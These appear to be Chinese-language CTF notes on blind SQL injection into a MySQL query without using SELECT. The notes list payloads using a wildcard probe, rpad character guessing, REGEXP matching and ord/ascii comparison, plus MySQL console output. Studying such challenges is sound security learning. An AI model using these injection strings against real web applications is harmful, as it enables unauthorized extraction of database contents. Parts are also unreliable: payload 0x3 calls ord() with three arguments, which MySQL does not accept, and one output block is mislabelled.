这次题目的语句我猜测是 select pic from table where ID="$i"; $i 则是可控点..
1 2 3 4 5 6 7 8 9 10 11
payload 0x0: $i = 1" && username="% 构成以下语句: select pic from talbe where ID="1" && username="%" 这个payload可以用来猜测是否有该字段, 接下来的盲注这语句仍然可用
payload 0x1: $i = 111" OR if(rpad(username,1,1)="a",1,0)# 或者 111" OR if(rpad(username,1,1)=char(101),1,0)# 构成以下语句: select pic from table where ID="111" OR if(rpad(username,1,1)="a",1,0)#" 在知道该表有username字段后, 可以通过这语句进行盲注
mysql> select name from table; +----------+ | name | +----------+ | Hcamael | +----------+ 1 row in set (0.00 sec) mysql> select rpad(name,5,1) from table; +--------------------+ | rpad(name,5,1) | +--------------------+ | Hcama | +--------------------+ 1 row in set (0.01 sec) mysql> select rpad(name,10,1) from table; +---------------------+ | rpad(name,10,1) | +---------------------+ | Hcamael111 | +---------------------+ 1 row in set (0.00 sec) mysql> select lpad(name,5,1) from table; +--------------------+ | rpad(name,5,1) | +--------------------+ | Hcama | +--------------------+ 1 row in set (0.01 sec) mysql> select lpad(name,10,1) from table; +---------------------+ | lpad(name,10,1) | +---------------------+ | 111Hcamael | +---------------------+ 1 row in set (0.00 sec)
这两个函数有三个参数, 第一个是字段名, 第二个是显示几位, 第三个是当位数不足时, 以啥补充..
1 2 3 4 5 6 7 8 9
payload 0x2: $i = 111" OR username REGEXP "^[a-z] select pic from table where ID ="111" OR username REGEXP "^[a-z]" 正则匹配法注入, 真是涨姿势了, 第一次见
payload 0x3: $i = 111" OR (ascii(ord(username,1,1)))=97# 或者 111" OR (ord(username,1,1))='a'# select pic from table where ID="111" OR (ascii(ord(username,1,1)))=97#" 这种方法我以前盲注的时候写过, 可是当没有select的时候, 我却自然的以为这些不行用了...